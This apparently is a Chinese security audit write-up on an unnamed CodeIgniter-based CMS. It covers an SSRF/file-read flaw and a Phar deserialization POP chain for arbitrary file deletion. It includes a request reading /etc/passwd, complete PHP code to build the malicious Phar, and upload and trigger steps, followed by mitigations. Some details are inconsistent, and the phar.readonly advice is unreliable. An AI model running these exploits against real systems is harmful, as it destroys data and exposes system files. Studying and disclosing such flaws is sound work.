记一次某CMS反序列化任意文件删除的审计过程
字数 1858 2025-08-20 18:17:58

某CMS反序列化任意文件删除漏洞分析与利用

漏洞概述

本文详细分析某CMS系统中存在的两个安全漏洞:SSRF(服务器端请求伪造)漏洞和通过Phar反序列化实现的任意文件删除漏洞。这两个漏洞都存在于该CMS的最新版本中,攻击者可以利用这些漏洞进行服务器端请求伪造和任意文件删除操作。

SSRF漏洞分析

漏洞位置

SSRF漏洞存在于/Fcms/Core/Helper.php文件中的dr_catcher_data函数。

漏洞代码

function dr_catcher_data($url, $timeout = 0, $is_log = true, $ct = 0) {
    if (!$url) {
        return '';
    }

    // 获取本地文件
    if (strpos($url, 'file://') === 0) {
        return file_get_contents($url);
    } elseif (strpos($url, '/') === 0 && is_file(WEBPATH.$url)) {
        return file_get_contents(WEBPATH.$url);
    } elseif (!dr_is_url($url)) {
        if (CI_DEBUG && $is_log) {
            log_message('error', '获取远程数据失败['.$url.']:地址前缀要求是http开头');
        }
        return '';
    }
    // 其他代码...
}

触发点

SSRF漏洞的触发点在/Fms/Control/Admin/Api.phptest_attach方法中:

public function test_attach() {
    $data = \Phpcmf\Service::L('input')->post('data');
    if (!$data) {
        $this->_json(0, dr_lang('参数错误'));
    }
    
    // ...其他代码...
    
    elseif (strpos(dr_catcher_data($rt['data']['url']), 'phpcmf') !== false) {
        $this->_json(1, dr_lang('测试成功:%s', $rt['data']['url']));
    }
}

漏洞原理

  1. test_attach方法接收POST参数data,其中包含url字段
  2. url参数未经任何过滤直接传递给dr_catcher_data函数
  3. dr_catcher_data函数支持多种协议处理,包括file://协议
  4. 攻击者可以构造恶意URL,使服务器访问内部资源或服务

利用方式

攻击者可以构造如下请求:

POST /admina516ce184c2e.php?c=Api&m=test_attach HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

data[url]=file:///etc/passwd

这将导致服务器读取并返回/etc/passwd文件内容。

反序列化任意文件删除漏洞

漏洞位置

Phar反序列化漏洞点位于/Fms/Control/Admin/Api.php中的多个方法,包括:

  • test_attach
  • test_attach_domain

漏洞原理

PHP的Phar文件在解析时会自动反序列化其中存储的元数据(metadata)。当系统使用file_exists()is_dir()等文件系统函数处理Phar文件时,会触发反序列化操作。

POP链构造

失败的第一条链

尝试使用CodeIgniter\Publisher\Publisher类:

namespace CodeIgniter\Publisher;

class Publisher {
    public $scratch = "../1";
    // 通过__destruct触发delete scratch
    // 通过new对象触发__construct helper('filesystem')
}

namespace CodeIgniter\Cache\Handlers;
class MemcachedHandler {
    public $prefix;
    public function __construct() {
        $this->prefix = new CodeIgniter\Publisher\Publisher();
    }
}

失败原因:delete_files()函数不存在。

成功的第二条链

使用以下类构造POP链:

  1. RedisHandler (触发点)
  2. MemcachedHandler (中间跳板)
  3. FileHandler (最终执行)

序列化代码:

namespace CodeIgniter\Cache\Handlers;
class FileHandler {
    public $prefix;
    public $path;
    public function __construct() {
        $this->prefix = '';
        $this->path = '';
    }
}

namespace CodeIgniter\Session\Handlers;
class MemcachedHandler {
    public $lockKey;
    public $memcached;
    public function __construct() {
        $this->lockKey = "D:\\phpstudy_pro\\WWW\\test.test";
        $this->memcached = new \CodeIgniter\Cache\Handlers\FileHandler();
    }
}

namespace CodeIgniter\Cache\Handlers;
class RedisHandler {
    public $redis;
    public function __construct() {
        $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler();
    }
}

$o = new RedisHandler();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

POP链执行流程

  1. RedisHandler__destruct()方法被调用
  2. 调用$this->redis->close(),其中$this->redisMemcachedHandler对象
  3. MemcachedHandlerclose()方法调用$this->memcached->delete($this->lockKey)
  4. FileHandlerdelete()方法执行unlink($this->path . $key)
  5. 最终删除$this->lockKey指定的文件

漏洞利用步骤

  1. 生成Phar文件:使用上述代码生成恶意Phar文件,修改后缀为允许上传的类型(如.txt)

  2. 上传Phar文件:通过CMS的文件上传功能上传该文件

    • 上传点:http://target.com/index.php?s=member&app=news&c=home&m=add
  3. 获取上传路径:上传后系统会返回文件路径,如:
    /uploadfile/202407/de5d2812b5ba390.txt

  4. 触发反序列化:访问test_attach_domain功能并构造phar协议路径

    http://target.com/admina516ce184c2e.php?c=Api&m=test_attach_domain
    

    在"附件上传目录"中输入:
    phar://uploadfile/202407/de5d2812b5ba390.txt/test.txt

  5. 执行结果:系统会解析Phar文件并触发反序列化,最终删除指定文件

防御建议

  1. SSRF防御

    • dr_catcher_data函数中限制协议类型,禁止file://等危险协议
    • 对输入URL进行严格校验,使用白名单机制
  2. 反序列化防御

    • 禁用Phar流包装器:stream_wrapper_unregister('phar')
    • 在文件操作前检查文件是否为Phar文件
    • 使用ini_set('phar.readonly', '1')禁止Phar写入
  3. 通用防御

    • 对所有用户输入进行严格过滤和验证
    • 实施最小权限原则,限制文件系统操作权限
    • 定期更新系统和组件到最新版本

总结

本文详细分析了某CMS系统中存在的SSRF和Phar反序列化漏洞,展示了从漏洞发现到利用的完整过程。这两个漏洞都源于对用户输入的不当处理,强调了输入验证和安全编码的重要性。开发人员应引以为戒,在代码中实施严格的安全措施,防止此类漏洞的出现。

某CMS反序列化任意文件删除漏洞分析与利用 漏洞概述 本文详细分析某CMS系统中存在的两个安全漏洞:SSRF(服务器端请求伪造)漏洞和通过Phar反序列化实现的任意文件删除漏洞。这两个漏洞都存在于该CMS的最新版本中,攻击者可以利用这些漏洞进行服务器端请求伪造和任意文件删除操作。 SSRF漏洞分析 漏洞位置 SSRF漏洞存在于 /Fcms/Core/Helper.php 文件中的 dr_catcher_data 函数。 漏洞代码 触发点 SSRF漏洞的触发点在 /Fms/Control/Admin/Api.php 的 test_attach 方法中: 漏洞原理 test_attach 方法接收POST参数 data ,其中包含 url 字段 该 url 参数未经任何过滤直接传递给 dr_catcher_data 函数 dr_catcher_data 函数支持多种协议处理,包括 file:// 协议 攻击者可以构造恶意URL,使服务器访问内部资源或服务 利用方式 攻击者可以构造如下请求: 这将导致服务器读取并返回 /etc/passwd 文件内容。 反序列化任意文件删除漏洞 漏洞位置 Phar反序列化漏洞点位于 /Fms/Control/Admin/Api.php 中的多个方法,包括: test_attach test_attach_domain 漏洞原理 PHP的Phar文件在解析时会自动反序列化其中存储的元数据(metadata)。当系统使用 file_exists() 、 is_dir() 等文件系统函数处理Phar文件时,会触发反序列化操作。 POP链构造 失败的第一条链 尝试使用 CodeIgniter\Publisher\Publisher 类: 失败原因: delete_files() 函数不存在。 成功的第二条链 使用以下类构造POP链: RedisHandler (触发点) MemcachedHandler (中间跳板) FileHandler (最终执行) 序列化代码: POP链执行流程 RedisHandler 的 __destruct() 方法被调用 调用 $this->redis->close() ,其中 $this->redis 是 MemcachedHandler 对象 MemcachedHandler 的 close() 方法调用 $this->memcached->delete($this->lockKey) FileHandler 的 delete() 方法执行 unlink($this->path . $key) 最终删除 $this->lockKey 指定的文件 漏洞利用步骤 生成Phar文件 :使用上述代码生成恶意Phar文件,修改后缀为允许上传的类型(如.txt) 上传Phar文件 :通过CMS的文件上传功能上传该文件 上传点: http://target.com/index.php?s=member&app=news&c=home&m=add 获取上传路径 :上传后系统会返回文件路径,如: /uploadfile/202407/de5d2812b5ba390.txt 触发反序列化 :访问 test_attach_domain 功能并构造phar协议路径 在"附件上传目录"中输入: phar://uploadfile/202407/de5d2812b5ba390.txt/test.txt 执行结果 :系统会解析Phar文件并触发反序列化,最终删除指定文件 防御建议 SSRF防御 : 在 dr_catcher_data 函数中限制协议类型,禁止 file:// 等危险协议 对输入URL进行严格校验,使用白名单机制 反序列化防御 : 禁用Phar流包装器: stream_wrapper_unregister('phar') 在文件操作前检查文件是否为Phar文件 使用 ini_set('phar.readonly', '1') 禁止Phar写入 通用防御 : 对所有用户输入进行严格过滤和验证 实施最小权限原则,限制文件系统操作权限 定期更新系统和组件到最新版本 总结 本文详细分析了某CMS系统中存在的SSRF和Phar反序列化漏洞,展示了从漏洞发现到利用的完整过程。这两个漏洞都源于对用户输入的不当处理,强调了输入验证和安全编码的重要性。开发人员应引以为戒,在代码中实施严格的安全措施,防止此类漏洞的出现。